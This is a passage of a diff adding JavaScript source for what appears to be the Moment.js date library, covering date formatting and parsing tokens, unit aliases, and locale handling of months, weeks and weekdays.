+    var format = this._longDateFormat[key],
+        formatUpper = this._longDateFormat[key.toUpperCase()];
+
+    if (format || !formatUpper) {
+        return format;
+    }
+
+    this._longDateFormat[key] = formatUpper.replace(/MMMM|MM|DD|dddd/g, function (val) {
+        return val.slice(1);
+    });
+
+    return this._longDateFormat[key];
+}
+
+var defaultInvalidDate = 'Invalid date';
+
+function invalidDate () {
+    return this._invalidDate;
+}
+
+var defaultOrdinal = '%d';
+var defaultDayOfMonthOrdinalParse = /\d{1,2}/;
+
+function ordinal (number) {
+    return this._ordinal.replace('%d', number);
+}
+
+var defaultRelativeTime = {
+    future : 'in %s',
+    past   : '%s ago',
+    s  : 'a few seconds',
+    ss : '%d seconds',
+    m  : 'a minute',
+    mm : '%d minutes',
+    h  : 'an hour',
+    hh : '%d hours',
+    d  : 'a day',
+    dd : '%d days',
+    M  : 'a month',
+    MM : '%d months',
+    y  : 'a year',
+    yy : '%d years'
+};
+
+function relativeTime (number, withoutSuffix, string, isFuture) {
+    var output = this._relativeTime[string];
+    return (isFunction(output)) ?
+        output(number, withoutSuffix, string, isFuture) :
+        output.replace(/%d/i, number);
+}
+
+function pastFuture (diff, output) {
+    var format = this._relativeTime[diff > 0 ? 'future' : 'past'];
+    return isFunction(format) ? format(output) : format.replace(/%s/i, output);
+}
+
+var aliases = {};
+
+function addUnitAlias (unit, shorthand) {
+    var lowerCase = unit.toLowerCase();
+    aliases[lowerCase] = aliases[lowerCase + 's'] = aliases[shorthand] = unit;
+}
+
+function normalizeUnits(units) {
+    return typeof units === 'string' ? aliases[units] || aliases[units.toLowerCase()] : undefined;
+}
+
+function normalizeObjectUnits(inputObject) {
+    var normalizedInput = {},
+        normalizedProp,
+        prop;
+
+    for (prop in inputObject) {
+        if (hasOwnProp(inputObject, prop)) {
+            normalizedProp = normalizeUnits(prop);
+            if (normalizedProp) {
+                normalizedInput[normalizedProp] = inputObject[prop];
+            }
+        }
+    }
+
+    return normalizedInput;
+}
+
+var priorities = {};
+
+function addUnitPriority(unit, priority) {
+    priorities[unit] = priority;
+}
+
+function getPrioritizedUnits(unitsObj) {
+    var units = [];
+    for (var u in unitsObj) {
+        units.push({unit: u, priority: priorities[u]});
+    }
+    units.sort(function (a, b) {
+        return a.priority - b.priority;
+    });
+    return units;
+}
+
+function zeroFill(number, targetLength, forceSign) {
+    var absNumber = '' + Math.abs(number),
+        zerosToFill = targetLength - absNumber.length,
+        sign = number >= 0;
+    return (sign ? (forceSign ? '+' : '') : '-') +
+        Math.pow(10, Math.max(0, zerosToFill)).toString().substr(1) + absNumber;
+}
+
+var formattingTokens = /(\[[^\[]*\])|(\\)?([Hh]mm(ss)?|Mo|MM?M?M?|Do|DDDo|DD?D?D?|ddd?d?|do?|w[o|w]?|W[o|W]?|Qo?|YYYYYY|YYYYY|YYYY|YY|gg(ggg?)?|GG(GGG?)?|e|E|a|A|hh?|HH?|kk?|mm?|ss?|S{1,9}|x|X|zz?|ZZ?|.)/g;
+
+var localFormattingTokens = /(\[[^\[]*\])|(\\)?(LTS|LT|LL?L?L?|l{1,4})/g;
+
+var formatFunctions = {};
+
+var formatTokenFunctions = {};
+
+// token:    'M'
+// padded:   ['MM', 2]
+// ordinal:  'Mo'
+// callback: function () { this.month() + 1 }
+function addFormatToken (token, padded, ordinal, callback) {
+    var func = callback;
+    if (typeof callback === 'string') {
+        func = function () {
+            return this[callback]();
+        };
+    }
+    if (token) {
+        formatTokenFunctions[token] = func;
+    }
+    if (padded) {
+        formatTokenFunctions[padded[0]] = function () {
+            return zeroFill(func.apply(this, arguments), padded[1], padded[2]);
+        };
+    }
+    if (ordinal) {
+        formatTokenFunctions[ordinal] = function () {
+            return this.localeData().ordinal(func.apply(this, arguments), token);
+        };
+    }
+}
+
+function removeFormattingTokens(input) {
+    if (input.match(/\[[\s\S]/)) {
+        return input.replace(/^\[|\]$/g, '');
+    }
+    return input.replace(/\\/g, '');
+}
+
+function makeFormatFunction(format) {
+    var array = format.match(formattingTokens), i, length;
+
+    for (i = 0, length = array.length; i < length; i++) {
+        if (formatTokenFunctions[array[i]]) {
+            array[i] = formatTokenFunctions[array[i]];
+        } else {
+            array[i] = removeFormattingTokens(array[i]);
+        }
+    }
+
+    return function (mom) {
+        var output = '', i;
+        for (i = 0; i < length; i++) {
+            output += isFunction(array[i]) ? array[i].call(mom, format) : array[i];
+        }
+        return output;
+    };
+}
+
+// format date using native date object
+function formatMoment(m, format) {
+    if (!m.isValid()) {
+        return m.localeData().invalidDate();
+    }
+
+    format = expandFormat(format, m.localeData());
+    formatFunctions[format] = formatFunctions[format] || makeFormatFunction(format);
+
+    return formatFunctions[format](m);
+}
+
+function expandFormat(format, locale) {
+    var i = 5;
+
+    function replaceLongDateFormatTokens(input) {
+        return locale.longDateFormat(input) || input;
+    }
+
+    localFormattingTokens.lastIndex = 0;
+    while (i >= 0 && localFormattingTokens.test(format)) {
+        format = format.replace(localFormattingTokens, replaceLongDateFormatTokens);
+        localFormattingTokens.lastIndex = 0;
+        i -= 1;
+    }
+
+    return format;
+}
+
+var match1         = /\d/;            //       0 - 9
+var match2         = /\d\d/;          //      00 - 99
+var match3         = /\d{3}/;         //     000 - 999
+var match4         = /\d{4}/;         //    0000 - 9999
+var match6         = /[+-]?\d{6}/;    // -999999 - 999999
+var match1to2      = /\d\d?/;         //       0 - 99
+var match3to4      = /\d\d\d\d?/;     //     999 - 9999
+var match5to6      = /\d\d\d\d\d\d?/; //   99999 - 999999
+var match1to3      = /\d{1,3}/;       //       0 - 999
+var match1to4      = /\d{1,4}/;       //       0 - 9999
+var match1to6      = /[+-]?\d{1,6}/;  // -999999 - 999999
+
+var matchUnsigned  = /\d+/;           //       0 - inf
+var matchSigned    = /[+-]?\d+/;      //    -inf - inf
+
+var matchOffset    = /Z|[+-]\d\d:?\d\d/gi; // +00:00 -00:00 +0000 -0000 or Z
+var matchShortOffset = /Z|[+-]\d\d(?::?\d\d)?/gi; // +00 -00 +00:00 -00:00 +0000 -0000 or Z
+
+var matchTimestamp = /[+-]?\d+(\.\d{1,3})?/; // 123456789 123456789.123
+
+// any word (or two) characters or numbers including two/three word month in arabic.
+// includes scottish gaelic two word and hyphenated months
+var matchWord = /[0-9]{0,256}['a-z\u00A0-\u05FF\u0700-\uD7FF\uF900-\uFDCF\uFDF0-\uFF07\uFF10-\uFFEF]{1,256}|[\u0600-\u06FF\/]{1,256}(\s*?[\u0600-\u06FF]{1,256}){1,2}/i;
+
+
+var regexes = {};
+
+function addRegexToken (token, regex, strictRegex) {
+    regexes[token] = isFunction(regex) ? regex : function (isStrict, localeData) {
+        return (isStrict && strictRegex) ? strictRegex : regex;
+    };
+}
+
+function getParseRegexForToken (token, config) {
+    if (!hasOwnProp(regexes, token)) {
+        return new RegExp(unescapeFormat(token));
+    }
+
+    return regexes[token](config._strict, config._locale);
+}
+
+// Code from http://stackoverflow.com/questions/3561493/is-there-a-regexp-escape-function-in-javascript
+function unescapeFormat(s) {
+    return regexEscape(s.replace('\\', '').replace(/\\(\[)|\\(\])|\[([^\]\[]*)\]|\\(.)/g, function (matched, p1, p2, p3, p4) {
+        return p1 || p2 || p3 || p4;
+    }));
+}
+
+function regexEscape(s) {
+    return s.replace(/[-\/\\^$*+?.()|[\]{}]/g, '\\$&');
+}
+
+var tokens = {};
+
+function addParseToken (token, callback) {
+    var i, func = callback;
+    if (typeof token === 'string') {
+        token = [token];
+    }
+    if (isNumber(callback)) {
+        func = function (input, array) {
+            array[callback] = toInt(input);
+        };
+    }
+    for (i = 0; i < token.length; i++) {
+        tokens[token[i]] = func;
+    }
+}
+
+function addWeekParseToken (token, callback) {
+    addParseToken(token, function (input, array, config, token) {
+        config._w = config._w || {};
+        callback(input, config._w, config, token);
+    });
+}
+
+function addTimeToArrayFromToken(token, input, config) {
+    if (input != null && hasOwnProp(tokens, token)) {
+        tokens[token](input, config._a, config, token);
+    }
+}
+
+var YEAR = 0;
+var MONTH = 1;
+var DATE = 2;
+var HOUR = 3;
+var MINUTE = 4;
+var SECOND = 5;
+var MILLISECOND = 6;
+var WEEK = 7;
+var WEEKDAY = 8;
+
+// FORMATTING
+
+addFormatToken('Y', 0, 0, function () {
+    var y = this.year();
+    return y <= 9999 ? '' + y : '+' + y;
+});
+
+addFormatToken(0, ['YY', 2], 0, function () {
+    return this.year() % 100;
+});
+
+addFormatToken(0, ['YYYY',   4],       0, 'year');
+addFormatToken(0, ['YYYYY',  5],       0, 'year');
+addFormatToken(0, ['YYYYYY', 6, true], 0, 'year');
+
+// ALIASES
+
+addUnitAlias('year', 'y');
+
+// PRIORITIES
+
+addUnitPriority('year', 1);
+
+// PARSING
+
+addRegexToken('Y',      matchSigned);
+addRegexToken('YY',     match1to2, match2);
+addRegexToken('YYYY',   match1to4, match4);
+addRegexToken('YYYYY',  match1to6, match6);
+addRegexToken('YYYYYY', match1to6, match6);
+
+addParseToken(['YYYYY', 'YYYYYY'], YEAR);
+addParseToken('YYYY', function (input, array) {
+    array[YEAR] = input.length === 2 ? hooks.parseTwoDigitYear(input) : toInt(input);
+});
+addParseToken('YY', function (input, array) {
+    array[YEAR] = hooks.parseTwoDigitYear(input);
+});
+addParseToken('Y', function (input, array) {
+    array[YEAR] = parseInt(input, 10);
+});
+
+// HELPERS
+
+function daysInYear(year) {
+    return isLeapYear(year) ? 366 : 365;
+}
+
+function isLeapYear(year) {
+    return (year % 4 === 0 && year % 100 !== 0) || year % 400 === 0;
+}
+
+// HOOKS
+
+hooks.parseTwoDigitYear = function (input) {
+    return toInt(input) + (toInt(input) > 68 ? 1900 : 2000);
+};
+
+// MOMENTS
+
+var getSetYear = makeGetSet('FullYear', true);
+
+function getIsLeapYear () {
+    return isLeapYear(this.year());
+}
+
+function makeGetSet (unit, keepTime) {
+    return function (value) {
+        if (value != null) {
+            set$1(this, unit, value);
+            hooks.updateOffset(this, keepTime);
+            return this;
+        } else {
+            return get(this, unit);
+        }
+    };
+}
+
+function get (mom, unit) {
+    return mom.isValid() ?
+        mom._d['get' + (mom._isUTC ? 'UTC' : '') + unit]() : NaN;
+}
+
+function set$1 (mom, unit, value) {
+    if (mom.isValid() && !isNaN(value)) {
+        if (unit === 'FullYear' && isLeapYear(mom.year()) && mom.month() === 1 && mom.date() === 29) {
+            mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value, mom.month(), daysInMonth(value, mom.month()));
+        }
+        else {
+            mom._d['set' + (mom._isUTC ? 'UTC' : '') + unit](value);
+        }
+    }
+}
+
+// MOMENTS
+
+function stringGet (units) {
+    units = normalizeUnits(units);
+    if (isFunction(this[units])) {
+        return this[units]();
+    }
+    return this;
+}
+
+
+function stringSet (units, value) {
+    if (typeof units === 'object') {
+        units = normalizeObjectUnits(units);
+        var prioritized = getPrioritizedUnits(units);
+        for (var i = 0; i < prioritized.length; i++) {
+            this[prioritized[i].unit](units[prioritized[i].unit]);
+        }
+    } else {
+        units = normalizeUnits(units);
+        if (isFunction(this[units])) {
+            return this[units](value);
+        }
+    }
+    return this;
+}
+
+function mod(n, x) {
+    return ((n % x) + x) % x;
+}
+
+var indexOf;
+
+if (Array.prototype.indexOf) {
+    indexOf = Array.prototype.indexOf;
+} else {
+    indexOf = function (o) {
+        // I know
+        var i;
+        for (i = 0; i < this.length; ++i) {
+            if (this[i] === o) {
+                return i;
+            }
+        }
+        return -1;
+    };
+}
+
+function daysInMonth(year, month) {
+    if (isNaN(year) || isNaN(month)) {
+        return NaN;
+    }
+    var modMonth = mod(month, 12);
+    year += (month - modMonth) / 12;
+    return modMonth === 1 ? (isLeapYear(year) ? 29 : 28) : (31 - modMonth % 7 % 2);
+}
+
+// FORMATTING
+
+addFormatToken('M', ['MM', 2], 'Mo', function () {
+    return this.month() + 1;
+});
+
+addFormatToken('MMM', 0, 0, function (format) {
+    return this.localeData().monthsShort(this, format);
+});
+
+addFormatToken('MMMM', 0, 0, function (format) {
+    return this.localeData().months(this, format);
+});
+
+// ALIASES
+
+addUnitAlias('month', 'M');
+
+// PRIORITY
+
+addUnitPriority('month', 8);
+
+// PARSING
+
+addRegexToken('M',    match1to2);
+addRegexToken('MM',   match1to2, match2);
+addRegexToken('MMM',  function (isStrict, locale) {
+    return locale.monthsShortRegex(isStrict);
+});
+addRegexToken('MMMM', function (isStrict, locale) {
+    return locale.monthsRegex(isStrict);
+});
+
+addParseToken(['M', 'MM'], function (input, array) {
+    array[MONTH] = toInt(input) - 1;
+});
+
+addParseToken(['MMM', 'MMMM'], function (input, array, config, token) {
+    var month = config._locale.monthsParse(input, token, config._strict);
+    // if we didn't find a month name, mark the date as invalid.
+    if (month != null) {
+        array[MONTH] = month;
+    } else {
+        getParsingFlags(config).invalidMonth = input;
+    }
+});
+
+// LOCALES
+
+var MONTHS_IN_FORMAT = /D[oD]?(\[[^\[\]]*\]|\s)+MMMM?/;
+var defaultLocaleMonths = 'January_February_March_April_May_June_July_August_September_October_November_December'.split('_');
+function localeMonths (m, format) {
+    if (!m) {
+        return isArray(this._months) ? this._months :
+            this._months['standalone'];
+    }
+    return isArray(this._months) ? this._months[m.month()] :
+        this._months[(this._months.isFormat || MONTHS_IN_FORMAT).test(format) ? 'format' : 'standalone'][m.month()];
+}
+
+var defaultLocaleMonthsShort = 'Jan_Feb_Mar_Apr_May_Jun_Jul_Aug_Sep_Oct_Nov_Dec'.split('_');
+function localeMonthsShort (m, format) {
+    if (!m) {
+        return isArray(this._monthsShort) ? this._monthsShort :
+            this._monthsShort['standalone'];
+    }
+    return isArray(this._monthsShort) ? this._monthsShort[m.month()] :
+        this._monthsShort[MONTHS_IN_FORMAT.test(format) ? 'format' : 'standalone'][m.month()];
+}
+
+function handleStrictParse(monthName, format, strict) {
+    var i, ii, mom, llc = monthName.toLocaleLowerCase();
+    if (!this._monthsParse) {
+        // this is not used
+        this._monthsParse = [];
+        this._longMonthsParse = [];
+        this._shortMonthsParse = [];
+        for (i = 0; i < 12; ++i) {
+            mom = createUTC([2000, i]);
+            this._shortMonthsParse[i] = this.monthsShort(mom, '').toLocaleLowerCase();
+            this._longMonthsParse[i] = this.months(mom, '').toLocaleLowerCase();
+        }
+    }
+
+    if (strict) {
+        if (format === 'MMM') {
+            ii = indexOf.call(this._shortMonthsParse, llc);
+            return ii !== -1 ? ii : null;
+        } else {
+            ii = indexOf.call(this._longMonthsParse, llc);
+            return ii !== -1 ? ii : null;
+        }
+    } else {
+        if (format === 'MMM') {
+            ii = indexOf.call(this._shortMonthsParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._longMonthsParse, llc);
+            return ii !== -1 ? ii : null;
+        } else {
+            ii = indexOf.call(this._longMonthsParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._shortMonthsParse, llc);
+            return ii !== -1 ? ii : null;
+        }
+    }
+}
+
+function localeMonthsParse (monthName, format, strict) {
+    var i, mom, regex;
+
+    if (this._monthsParseExact) {
+        return handleStrictParse.call(this, monthName, format, strict);
+    }
+
+    if (!this._monthsParse) {
+        this._monthsParse = [];
+        this._longMonthsParse = [];
+        this._shortMonthsParse = [];
+    }
+
+    // TODO: add sorting
+    // Sorting makes sure if one month (or abbr) is a prefix of another
+    // see sorting in computeMonthsParse
+    for (i = 0; i < 12; i++) {
+        // make the regex if we don't have it already
+        mom = createUTC([2000, i]);
+        if (strict && !this._longMonthsParse[i]) {
+            this._longMonthsParse[i] = new RegExp('^' + this.months(mom, '').replace('.', '') + '$', 'i');
+            this._shortMonthsParse[i] = new RegExp('^' + this.monthsShort(mom, '').replace('.', '') + '$', 'i');
+        }
+        if (!strict && !this._monthsParse[i]) {
+            regex = '^' + this.months(mom, '') + '|^' + this.monthsShort(mom, '');
+            this._monthsParse[i] = new RegExp(regex.replace('.', ''), 'i');
+        }
+        // test the regex
+        if (strict && format === 'MMMM' && this._longMonthsParse[i].test(monthName)) {
+            return i;
+        } else if (strict && format === 'MMM' && this._shortMonthsParse[i].test(monthName)) {
+            return i;
+        } else if (!strict && this._monthsParse[i].test(monthName)) {
+            return i;
+        }
+    }
+}
+
+// MOMENTS
+
+function setMonth (mom, value) {
+    var dayOfMonth;
+
+    if (!mom.isValid()) {
+        // No op
+        return mom;
+    }
+
+    if (typeof value === 'string') {
+        if (/^\d+$/.test(value)) {
+            value = toInt(value);
+        } else {
+            value = mom.localeData().monthsParse(value);
+            // TODO: Another silent failure?
+            if (!isNumber(value)) {
+                return mom;
+            }
+        }
+    }
+
+    dayOfMonth = Math.min(mom.date(), daysInMonth(mom.year(), value));
+    mom._d['set' + (mom._isUTC ? 'UTC' : '') + 'Month'](value, dayOfMonth);
+    return mom;
+}
+
+function getSetMonth (value) {
+    if (value != null) {
+        setMonth(this, value);
+        hooks.updateOffset(this, true);
+        return this;
+    } else {
+        return get(this, 'Month');
+    }
+}
+
+function getDaysInMonth () {
+    return daysInMonth(this.year(), this.month());
+}
+
+var defaultMonthsShortRegex = matchWord;
+function monthsShortRegex (isStrict) {
+    if (this._monthsParseExact) {
+        if (!hasOwnProp(this, '_monthsRegex')) {
+            computeMonthsParse.call(this);
+        }
+        if (isStrict) {
+            return this._monthsShortStrictRegex;
+        } else {
+            return this._monthsShortRegex;
+        }
+    } else {
+        if (!hasOwnProp(this, '_monthsShortRegex')) {
+            this._monthsShortRegex = defaultMonthsShortRegex;
+        }
+        return this._monthsShortStrictRegex && isStrict ?
+            this._monthsShortStrictRegex : this._monthsShortRegex;
+    }
+}
+
+var defaultMonthsRegex = matchWord;
+function monthsRegex (isStrict) {
+    if (this._monthsParseExact) {
+        if (!hasOwnProp(this, '_monthsRegex')) {
+            computeMonthsParse.call(this);
+        }
+        if (isStrict) {
+            return this._monthsStrictRegex;
+        } else {
+            return this._monthsRegex;
+        }
+    } else {
+        if (!hasOwnProp(this, '_monthsRegex')) {
+            this._monthsRegex = defaultMonthsRegex;
+        }
+        return this._monthsStrictRegex && isStrict ?
+            this._monthsStrictRegex : this._monthsRegex;
+    }
+}
+
+function computeMonthsParse () {
+    function cmpLenRev(a, b) {
+        return b.length - a.length;
+    }
+
+    var shortPieces = [], longPieces = [], mixedPieces = [],
+        i, mom;
+    for (i = 0; i < 12; i++) {
+        // make the regex if we don't have it already
+        mom = createUTC([2000, i]);
+        shortPieces.push(this.monthsShort(mom, ''));
+        longPieces.push(this.months(mom, ''));
+        mixedPieces.push(this.months(mom, ''));
+        mixedPieces.push(this.monthsShort(mom, ''));
+    }
+    // Sorting makes sure if one month (or abbr) is a prefix of another it
+    // will match the longer piece.
+    shortPieces.sort(cmpLenRev);
+    longPieces.sort(cmpLenRev);
+    mixedPieces.sort(cmpLenRev);
+    for (i = 0; i < 12; i++) {
+        shortPieces[i] = regexEscape(shortPieces[i]);
+        longPieces[i] = regexEscape(longPieces[i]);
+    }
+    for (i = 0; i < 24; i++) {
+        mixedPieces[i] = regexEscape(mixedPieces[i]);
+    }
+
+    this._monthsRegex = new RegExp('^(' + mixedPieces.join('|') + ')', 'i');
+    this._monthsShortRegex = this._monthsRegex;
+    this._monthsStrictRegex = new RegExp('^(' + longPieces.join('|') + ')', 'i');
+    this._monthsShortStrictRegex = new RegExp('^(' + shortPieces.join('|') + ')', 'i');
+}
+
+function createDate (y, m, d, h, M, s, ms) {
+    // can't just apply() to create a date:
+    // https://stackoverflow.com/q/181348
+    var date = new Date(y, m, d, h, M, s, ms);
+
+    // the date constructor remaps years 0-99 to 1900-1999
+    if (y < 100 && y >= 0 && isFinite(date.getFullYear())) {
+        date.setFullYear(y);
+    }
+    return date;
+}
+
+function createUTCDate (y) {
+    var date = new Date(Date.UTC.apply(null, arguments));
+
+    // the Date.UTC function remaps years 0-99 to 1900-1999
+    if (y < 100 && y >= 0 && isFinite(date.getUTCFullYear())) {
+        date.setUTCFullYear(y);
+    }
+    return date;
+}
+
+// start-of-first-week - start-of-year
+function firstWeekOffset(year, dow, doy) {
+    var // first-week day -- which january is always in the first week (4 for iso, 1 for other)
+        fwd = 7 + dow - doy,
+        // first-week day local weekday -- which local weekday is fwd
+        fwdlw = (7 + createUTCDate(year, 0, fwd).getUTCDay() - dow) % 7;
+
+    return -fwdlw + fwd - 1;
+}
+
+// https://en.wikipedia.org/wiki/ISO_week_date#Calculating_a_date_given_the_year.2C_week_number_and_weekday
+function dayOfYearFromWeeks(year, week, weekday, dow, doy) {
+    var localWeekday = (7 + weekday - dow) % 7,
+        weekOffset = firstWeekOffset(year, dow, doy),
+        dayOfYear = 1 + 7 * (week - 1) + localWeekday + weekOffset,
+        resYear, resDayOfYear;
+
+    if (dayOfYear <= 0) {
+        resYear = year - 1;
+        resDayOfYear = daysInYear(resYear) + dayOfYear;
+    } else if (dayOfYear > daysInYear(year)) {
+        resYear = year + 1;
+        resDayOfYear = dayOfYear - daysInYear(year);
+    } else {
+        resYear = year;
+        resDayOfYear = dayOfYear;
+    }
+
+    return {
+        year: resYear,
+        dayOfYear: resDayOfYear
+    };
+}
+
+function weekOfYear(mom, dow, doy) {
+    var weekOffset = firstWeekOffset(mom.year(), dow, doy),
+        week = Math.floor((mom.dayOfYear() - weekOffset - 1) / 7) + 1,
+        resWeek, resYear;
+
+    if (week < 1) {
+        resYear = mom.year() - 1;
+        resWeek = week + weeksInYear(resYear, dow, doy);
+    } else if (week > weeksInYear(mom.year(), dow, doy)) {
+        resWeek = week - weeksInYear(mom.year(), dow, doy);
+        resYear = mom.year() + 1;
+    } else {
+        resYear = mom.year();
+        resWeek = week;
+    }
+
+    return {
+        week: resWeek,
+        year: resYear
+    };
+}
+
+function weeksInYear(year, dow, doy) {
+    var weekOffset = firstWeekOffset(year, dow, doy),
+        weekOffsetNext = firstWeekOffset(year + 1, dow, doy);
+    return (daysInYear(year) - weekOffset + weekOffsetNext) / 7;
+}
+
+// FORMATTING
+
+addFormatToken('w', ['ww', 2], 'wo', 'week');
+addFormatToken('W', ['WW', 2], 'Wo', 'isoWeek');
+
+// ALIASES
+
+addUnitAlias('week', 'w');
+addUnitAlias('isoWeek', 'W');
+
+// PRIORITIES
+
+addUnitPriority('week', 5);
+addUnitPriority('isoWeek', 5);
+
+// PARSING
+
+addRegexToken('w',  match1to2);
+addRegexToken('ww', match1to2, match2);
+addRegexToken('W',  match1to2);
+addRegexToken('WW', match1to2, match2);
+
+addWeekParseToken(['w', 'ww', 'W', 'WW'], function (input, week, config, token) {
+    week[token.substr(0, 1)] = toInt(input);
+});
+
+// HELPERS
+
+// LOCALES
+
+function localeWeek (mom) {
+    return weekOfYear(mom, this._week.dow, this._week.doy).week;
+}
+
+var defaultLocaleWeek = {
+    dow : 0, // Sunday is the first day of the week.
+    doy : 6  // The week that contains Jan 1st is the first week of the year.
+};
+
+function localeFirstDayOfWeek () {
+    return this._week.dow;
+}
+
+function localeFirstDayOfYear () {
+    return this._week.doy;
+}
+
+// MOMENTS
+
+function getSetWeek (input) {
+    var week = this.localeData().week(this);
+    return input == null ? week : this.add((input - week) * 7, 'd');
+}
+
+function getSetISOWeek (input) {
+    var week = weekOfYear(this, 1, 4).week;
+    return input == null ? week : this.add((input - week) * 7, 'd');
+}
+
+// FORMATTING
+
+addFormatToken('d', 0, 'do', 'day');
+
+addFormatToken('dd', 0, 0, function (format) {
+    return this.localeData().weekdaysMin(this, format);
+});
+
+addFormatToken('ddd', 0, 0, function (format) {
+    return this.localeData().weekdaysShort(this, format);
+});
+
+addFormatToken('dddd', 0, 0, function (format) {
+    return this.localeData().weekdays(this, format);
+});
+
+addFormatToken('e', 0, 0, 'weekday');
+addFormatToken('E', 0, 0, 'isoWeekday');
+
+// ALIASES
+
+addUnitAlias('day', 'd');
+addUnitAlias('weekday', 'e');
+addUnitAlias('isoWeekday', 'E');
+
+// PRIORITY
+addUnitPriority('day', 11);
+addUnitPriority('weekday', 11);
+addUnitPriority('isoWeekday', 11);
+
+// PARSING
+
+addRegexToken('d',    match1to2);
+addRegexToken('e',    match1to2);
+addRegexToken('E',    match1to2);
+addRegexToken('dd',   function (isStrict, locale) {
+    return locale.weekdaysMinRegex(isStrict);
+});
+addRegexToken('ddd',   function (isStrict, locale) {
+    return locale.weekdaysShortRegex(isStrict);
+});
+addRegexToken('dddd',   function (isStrict, locale) {
+    return locale.weekdaysRegex(isStrict);
+});
+
+addWeekParseToken(['dd', 'ddd', 'dddd'], function (input, week, config, token) {
+    var weekday = config._locale.weekdaysParse(input, token, config._strict);
+    // if we didn't get a weekday name, mark the date as invalid
+    if (weekday != null) {
+        week.d = weekday;
+    } else {
+        getParsingFlags(config).invalidWeekday = input;
+    }
+});
+
+addWeekParseToken(['d', 'e', 'E'], function (input, week, config, token) {
+    week[token] = toInt(input);
+});
+
+// HELPERS
+
+function parseWeekday(input, locale) {
+    if (typeof input !== 'string') {
+        return input;
+    }
+
+    if (!isNaN(input)) {
+        return parseInt(input, 10);
+    }
+
+    input = locale.weekdaysParse(input);
+    if (typeof input === 'number') {
+        return input;
+    }
+
+    return null;
+}
+
+function parseIsoWeekday(input, locale) {
+    if (typeof input === 'string') {
+        return locale.weekdaysParse(input) % 7 || 7;
+    }
+    return isNaN(input) ? null : input;
+}
+
+// LOCALES
+
+var defaultLocaleWeekdays = 'Sunday_Monday_Tuesday_Wednesday_Thursday_Friday_Saturday'.split('_');
+function localeWeekdays (m, format) {
+    if (!m) {
+        return isArray(this._weekdays) ? this._weekdays :
+            this._weekdays['standalone'];
+    }
+    return isArray(this._weekdays) ? this._weekdays[m.day()] :
+        this._weekdays[this._weekdays.isFormat.test(format) ? 'format' : 'standalone'][m.day()];
+}
+
+var defaultLocaleWeekdaysShort = 'Sun_Mon_Tue_Wed_Thu_Fri_Sat'.split('_');
+function localeWeekdaysShort (m) {
+    return (m) ? this._weekdaysShort[m.day()] : this._weekdaysShort;
+}
+
+var defaultLocaleWeekdaysMin = 'Su_Mo_Tu_We_Th_Fr_Sa'.split('_');
+function localeWeekdaysMin (m) {
+    return (m) ? this._weekdaysMin[m.day()] : this._weekdaysMin;
+}
+
+function handleStrictParse$1(weekdayName, format, strict) {
+    var i, ii, mom, llc = weekdayName.toLocaleLowerCase();
+    if (!this._weekdaysParse) {
+        this._weekdaysParse = [];
+        this._shortWeekdaysParse = [];
+        this._minWeekdaysParse = [];
+
+        for (i = 0; i < 7; ++i) {
+            mom = createUTC([2000, 1]).day(i);
+            this._minWeekdaysParse[i] = this.weekdaysMin(mom, '').toLocaleLowerCase();
+            this._shortWeekdaysParse[i] = this.weekdaysShort(mom, '').toLocaleLowerCase();
+            this._weekdaysParse[i] = this.weekdays(mom, '').toLocaleLowerCase();
+        }
+    }
+
+    if (strict) {
+        if (format === 'dddd') {
+            ii = indexOf.call(this._weekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        } else if (format === 'ddd') {
+            ii = indexOf.call(this._shortWeekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        } else {
+            ii = indexOf.call(this._minWeekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        }
+    } else {
+        if (format === 'dddd') {
+            ii = indexOf.call(this._weekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._shortWeekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._minWeekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        } else if (format === 'ddd') {
+            ii = indexOf.call(this._shortWeekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._weekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._minWeekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        } else {
+            ii = indexOf.call(this._minWeekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._weekdaysParse, llc);
+            if (ii !== -1) {
+                return ii;
+            }
+            ii = indexOf.call(this._shortWeekdaysParse, llc);
+            return ii !== -1 ? ii : null;
+        }
+    }
+}
+
+function localeWeekdaysParse (weekdayName, format, strict) {
+    var i, mom, regex;
+
+    if (this._weekdaysParseExact) {
+        return handleStrictParse$1.call(this, weekdayName, format, strict);
+    }
+
+    if (!this._weekdaysParse) {
+        this._weekdaysParse = [];
+        this._minWeekdaysParse = [];
+        this._shortWeekdaysParse = [];
+        this._fullWeekdaysParse = [];
+    }
+
+    for (i = 0; i < 7; i++) {
+        // make the regex if we don't have it already
+
+        mom = createUTC([2000, 1]).day(i);
+        if (strict && !this._fullWeekdaysParse[i]) {
+            this._fullWeekdaysParse[i] = new RegExp('^' + this.weekdays(mom, '').replace('.', '\.?') + '$', 'i');
+            this._shortWeekdaysParse[i] = new RegExp('^' + this.weekdaysShort(mom, '').replace('.', '\.?') + '$', 'i');
+            this._minWeekdaysParse[i] = new RegExp('^' + this.weekdaysMin(mom, '').replace('.', '\.?') + '$', 'i');
+        }
+        if (!this._weekdaysParse[i]) {
+            regex = '^' + this.weekdays(mom, '') + '|^' + this.weekdaysShort(mom, '') + '|^' + this.weekdaysMin(mom, '');
+            this._weekdaysParse[i] = new RegExp(regex.replace('.', ''), 'i');
+        }
+        // test the regex
+        if (strict && format === 'dddd' && this._fullWeekdaysParse[i].test(weekdayName)) {
+            return i;
+        } else if (strict && format === 'ddd' && this._shortWeekdaysParse[i].test(weekdayName)) {
+            return i;
+        } else if (strict && format === 'dd' && this._minWeekdaysParse[i].test(weekdayName)) {
+            return i;
+        } else if (!strict && this._weekdaysParse[i].test(weekdayName)) {
+            return i;
+        }
+    }
+}
+
+// MOMENTS
+
+function getSetDayOfWeek (input) {
+    if (!this.isValid()) {
+        return input != null ? this : NaN;
+    }
+    var day = this._isUTC ? this._d.getUTCDay() : this._d.getDay();
+    if (input != null) {
